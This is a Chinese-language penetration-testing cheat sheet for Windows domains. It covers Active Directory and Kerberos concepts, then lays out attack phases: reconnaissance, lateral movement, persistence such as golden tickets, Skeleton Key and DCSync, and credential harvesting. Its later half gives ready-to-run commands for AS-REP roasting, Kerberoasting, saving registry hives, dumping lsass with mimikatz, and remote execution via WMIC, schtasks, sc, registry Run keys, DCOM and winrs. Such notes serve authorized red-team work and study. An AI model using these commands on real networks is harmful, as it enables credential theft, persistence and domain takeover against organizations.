内网渗透md.md
-
术语
工作组:工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的computer按照不同的要求分类到不同的组
域:用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域 (Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
* 域术语:
DC:域控,域的创建者
域管理:域控上的管理员
AD活得目录:Active Directory
NTDS.dit:域用户帐户以域数据库的形式保存在活动目录中
Ntdsutil.exe-ntdsutil.exe是域控制器自带的域数据库管理工具,从windows Server 2008开始就默认自带了。因此我们可以通过ntdsutil.exe提取出域中所有的域用户信息
常见结构:组织单元(OU)、域(DOMAIN)、域数(tree)、域森林(forest),在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据
活动目录:
* 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
* 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
* 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
* 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
* 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。
* 活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。默认用户组: * Builtin容器:Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。 * Computers容器:Computers容器是Active Driectory默认创建的第2个容器,用于存放Windows Server 2008域内所有成员计算机的计算机账号。 * Domain Controllers容器:Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。 * Users容器:Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户 域结构: * 单域:在一般的具有固定地理位置的小公司里,建立一个域就可以满足所需。 * 域树:域树指若干个域通过建立信任关系组成的集合。一个域管理员只能管理本域的内部,不能访问或者管理其他的域,二个域之间相互访问则需要建立 信任关系 (Trust Relation)。信任关系是连接在域与域之间的桥梁 * 域林:由一个或多个没有形成连续名称空间的域树组成,林中每个域树都有唯一的名称空间,之间不连续 * 父域和子域:第一个域称为父域也可以叫根域 ,各分部的域称为该域的子域 Example: 只有一个test.com的域叫作域林,又叫单域林 有一个域叫test.com和一个域叫abc.test.com,test.com叫父域,abc.test.com子域。子域建立在父域的基础上,双方自动拥有双向信任,这又叫域树 域信任关系: * 单向信任:单向信任只能是受信任域访问信任域,而信任域不能访问受信任域 * 双向信任:两个域可以互相访问 * 父子信任:父域与子域之间自动建立起了双向信任关系,并且信任关系可以传递 * 树信任:同一个林中,林根域与其他树根域自动建立双向信任关系。信任关系可传递 * 快捷方式信任:为了加速认证流程而产生的信任关系。需要管理员手工建立,信任关系可向下传递 * 林信任:在不更改AD结构的情况下,让不同林之间可以相互访问资源。信任关系可向下传递 * 外部信任/ 跨林快捷方式信任:类似于同林内的快捷方式信任. 单向, 信任关系不可传递 * 领域信任:为了让AD跟非windows系统的kerberos建立关系而存在的信任 默认用户krbtgt: 每个Active Directory域都有一个关联的KRBTGT帐户,该帐户用于加密和签名该域的所有Kerberos票证。这是一个域帐户,以便所有可写域控制器都知道该帐户的密码,以便解密Kerberos票证以进行验证。每个只读域控制器(RODC)都有自己的个人KRBTGT帐户,用于在自己的站点中对Kerberos票证进行加密/签名。RODC具有通过该帐户的反向链接与RODC关联的特定KRBTGT帐户 协议(什么认证过程之类的就不写了,太麻烦了): kerberos 概念: 1、KDC 服务默认会安装在一个域的域控中(认证中心) 2、从物理层面看,AD与KDC均为域控制器(Domain Controller) 3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT 4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。 TGT:kerberos票据 TGS:服务票据 S4U2Self 通过此扩展可以拿到一张标识任意用户身份的TGS(图中是去获取的用户X身份的TGS),上文已经解释过了,它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候,网站A是没有用户X的TGS的,但是是网站A要去获取文件服务器B的访问权限(TGS)需要用户X的TGS,因此S4U2Self解决了这个问题,网站A服务器可以使用它去向KDC请求一张用户X身份的TGS,网站A服务器再用这张TGS去发起S4U2proxy请求。 S4U2proxy 该拓展作用是使用一张用户X身份的TGS去向KDC请求一张用于访问文件服务器B的TGS,这张TGS的身份还是用户X,这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了 票据: 黄金票据:通过使用krbtgt的hash伪造某个用户的TGT,可以访问域内任何一台computer 白银票据:通过s4u申请高权限TGS可以用高权限的TGS访问service
-
判断是否有内网
- 明确获取目标内网网段地址范围
- 内网是否有域
-
内网信息搜集
-
无域
-
搜集存活主机
-
存活主机的系统类型
-
搜集内网的web主机
- CMS识别
- 内网ip和域名的绑定
- 拥有漏洞的站点
-
有数据库的主机
-
内网路由
-
内网数据库主机
-
内网打印机 (少见)
-
内网常见的服务
- smb -> net view
- ssh
- vpn
- ftp
- rdp
-
-
有域
- 判断DC
- 是否多域
- 拥有服务的用户信息查询(spn)
- 查看域用户
- 搜集存活主机(涵盖无域所收集的)
- 当前域用户所属组
- 有ACL属性的用户收集
- ldap信息收集(如果可以)
-
-
横向
-
无域
- 各种win exp可利用的洞
- MS08-067
- MS17-010
- SMBGhost
- 未知洞
- smb hash钓鱼
- hash传递攻击
- web攻击
- 钓鱼管理员
- 各种win exp可利用的洞
-
有域
- 各种win exp可利用的洞
- ldap攻击
- kerberos攻击
- 未要求Kerberos验证的用户
- kereros非约束委派攻击
- 非约束委派+Spooler打印机服务 制作黄金票据
- kerberos非约束委派中继攻击
- kerberos约束委派攻击
- 受限委派 + DCSync 维持域权限
- MS14-068攻击
- kerberos资源委派攻击(从widnows server 2012开始才有)->ACL属性的用户攻击
- GPP漏洞
-
-
权限维持
- 有域
- 变种金票 (适用于windows server 2008或以下,12开始不能使了)
- 受限委派 + DCSync 维持域权限
- 非约束委派+Spooler打印机服务 制作黄金票据
- Kerberoasting (利用powershell请求SPN的TGS,然后导出破解得到server的密码(感觉没啥必要破解))
- DSRM密码同步
- 利用GPO给域内的主机批量执行脚本
- SSP
- Skeleton Key
- Hook PasswordChangeNotify
- LAPS
- 有域
-
检查能否出网
- ping
- tracert -d -h
- curl
-
凭证查询
- cmdkey /list查询当前凭证
- klist查询当前票据
- 登录的密码 or hash
- 浏览器密码
- 各种服务的密码
- FTP
- mysql
- mssql
- ssh
- vnc
-
内网钓鱼
- NTLM-Relay
- smb资源文件跳转
- 恶意lnk
- 其他
-
日内网常见的入口点
- web拿到shell->上线
- sqlmap os-sell->上线
- 附件钓鱼->钓鱼
- 其他
-
域内/内网 常用命令分类
判断内网是否域环境
net config workstation #判断是否显示登录域,如果有则代表存在域环境(查询机器属于那个域)
net user /domain #如果返回正常,则代表有域环境
判断内网DC
ipconfig /all #DNS地址,如果有两个不同的DNS可能有多个DC
set l #获取域控主机名然后去ping主机名
net time /domain #查询域主机名,ping主机名得到ip
ping
端口扫描寻找内网开放53端口(DNS解析)的主机或者开了88端口(Kerberos服务),更准确一点确认的就是53和88端口一起开放的机子
多域判断
nltest /domain_trusts #查询域信任关系 (abc.xxx.com,xxx.com這種是域樹,xxx.com,ccc.com這種叫域林,沒域信任或只有個域的就是單域)
SPN查询
setspn -T
使用powershell脚本查询:
powershell -f GetUserSPNs.ps1(图片补充)
仓库地址:https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1
Rubeus查询:(获取是spn用户的hash)
Rubeus.exe kerberoast(图片补充)
域用户查询
net user /domain #域用户
net user
net group /domain #查询域用户组
net group "<group_name>" /domain #查询某个域用户组(查看net group /domain列出来的域用户组)
net group "domain admins" /domain #域管理
net group "Domain Controllers" /domain #域控列表查询
搜集存活主机
arp -a | findstr 动态
工具:
* S扫描器
* nmap
* Goby
* IP Scan
* masscan
* 其他
内网共享查询
net share
net view
net view /domain
- 攻击方法
有域
未要求Kerberos验证的用户
要求:
* 拥有域用户列表
用户如下示例(补充图片)
使用impacket工具:
python3 GetNPUsers.py DOMAIN/ -usersfile /tmp/user.txt -format john -outputfile /tmp/out.txt -dc-ip 192.168.1.109
(补充图片)
kerberos非约束委派攻击:
* 委派的是主机->得到被委派主机的权限
* 委派的是用户->得到被委派主机的权限
kerberos约束委派攻击:
* 得到被委派的用户账户或hash或TGT
查询了设置非委派约束的用户
Ps:域控制器主机账户默认开启非限制委派
利用SharpView(PowerView的C#版)
https://github.com/tevora-threat/SharpView
该工具的命令格式是:SharpView.exe
执行:
SharpView.exe Get-Netuser -Unconstrained -Domain DOMAIN.local(图片补充) 感觉还是setspn查出来的靠谱
SharpView.exe Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -Domain DOMAIN.local
查询设置了约束委派的用户:
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl
新版PowerView
Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=))" -Domain lab.local
Get-NetComputer-Filter "(&(samAccountType=805306369)(msds-allowedtodelegateto=))" -Domain lab.local
域内常用的工具:
mimikatz
kekeo
Rubeus
Spooler
lazagne
Bloodhound
PowerView
impacket套件
端口转发:
netsh
ssh
reGeorg
ew
lcx
常见获取凭证的手法:
注册表dump:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
lsass dump:
prodump导出:
prodump -ma lsass.exe lsass.dump
mimikatz:
sekurlsa::mimidump lsass.dump
sekurlsa::logonpasswords
mimikatz导出:
privilege::debug
token::elevate
lsadump::sam
常见远程连接:
* ipc
net use \1.1.1.1\ipc$ “password” /user:username
* wmic
wmic /user:"jumbolab.com\win7user" /password:"password" /node:172.16.127.184 process call create "notepad"
(powershell) Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
* schtasks
schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru “SYSTEM” /tn “windowsupdate” /sc DAILY /tr “calc” /F
* at
at \\1.1.1.1 15:15 ca
* sc
sc \\1.1.1.1 create windowsupdate binpath= “calc”
sc \\1.1.1.1 start windowsupdate
* reg
reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
* DCOM
net use \\1.1.1.1 “password” /user:domain.com\username
powershell
a->
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
b->
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
c->
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c
* winrm
1.winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"
2.winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "
常见问题
得到域控hash或TGT或密码可以干什么:啥都能干,整个黄金票据爽一爽
得到krbtgt的hash:伪造金票
得到用户是这几个用户组的其中(Administrators, Domain Admins,Enterprise Admins)一个可利用的方法:导出Dcsync
域控抓密码的时候遇到卡巴怎么办:ntdsutil导出或者导出Dcsync
得到某个域用户的密码发现有连贯性:kerberos密码喷射攻击,或者做个密码猜测去爆
发现无约束委派的主机:配合打印机BUG强行验证得到域管的凭证
参考链接:
子域和父域的管理员可以互相加入:https://www.cnblogs.com/zoulongbin/p/6082519.html
krbtgt用户解释:https://adsecurity.org/?p=483
kerberos协议认证:https://www.cnblogs.com/zpchcbd/p/11707302.html
域渗透详解:https://www.freebuf.com/company-information/172630.html
域渗透实战:https://www.secpulse.com/archives/128495.html
银票和金票:https://drops.org.cn/PENETRATION/ADsec-Goden-tickits.html
微软不认的“0day”之域内本地提权-烂番茄:https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
kerberos委派系列:https://www.anquanke.com/post/id/173477